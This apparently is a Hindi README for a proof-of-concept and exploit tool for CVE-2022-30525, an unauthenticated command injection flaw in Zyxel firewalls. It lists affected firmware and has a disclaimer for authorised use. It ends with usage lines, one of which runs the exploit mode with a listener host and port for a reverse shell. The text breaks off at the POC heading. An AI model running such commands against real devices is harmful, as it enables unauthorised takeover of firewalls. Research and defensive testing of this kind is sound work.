CVE-2022-30525 Zyxel फ़ायरवॉल कमांड इंजेक्शन भेद्यता

CVE-2022-30525 POC&EXP

author:160team.west9B

केवल अधिकृत स्थितियों में सुरक्षा शोधकर्ताओं द्वारा उपयोग के लिए। साइबर सुरक्षा कानून का पालन करें। किसी भी समस्या के परिणाम स्वयं वहन करें, लेखक जिम्मेदार नहीं है।

01-मूल परिचय

12 मई 2022 को, Zyxel ने अपने फ़ायरवॉल उपकरणों में बिना प्रमाणीकरण वाली रिमोट कमांड इंजेक्शन भेद्यता (CVE-2022-30525) को ठीक करने के लिए एक सुरक्षा बुलेटिन जारी किया, जिसका CVSS स्कोर 9.8 है। यह भेद्यता कुछ Zyxel फ़ायरवॉल संस्करणों के CGI प्रोग्राम में मौजूद है, जो बिना प्रमाणीकरण के प्रभावित उपकरणों पर मनमाना कमांड निष्पादित करने की अनुमति देती है।

प्रभावित सीमा:

ATP श्रृंखला फर्मवेयर: 5.10-5.21 Patch 1

VPN श्रृंखला फर्मवेयर: 4.60-5.21 Patch 1

USG FLEX 100(W), 200, 500, 700: 5.00-5.21 Patch 1

USG FLEX 50(W)/USG20(W)-VPN: 5.10-5.21 Patch 1

02-उपयोग निर्देश

usage_poc: ./cve-2022-30525 -m poc -u url

usage_exp: ./cve-2022-30525 -m exp -u url -lhost ip -lport port

1. POC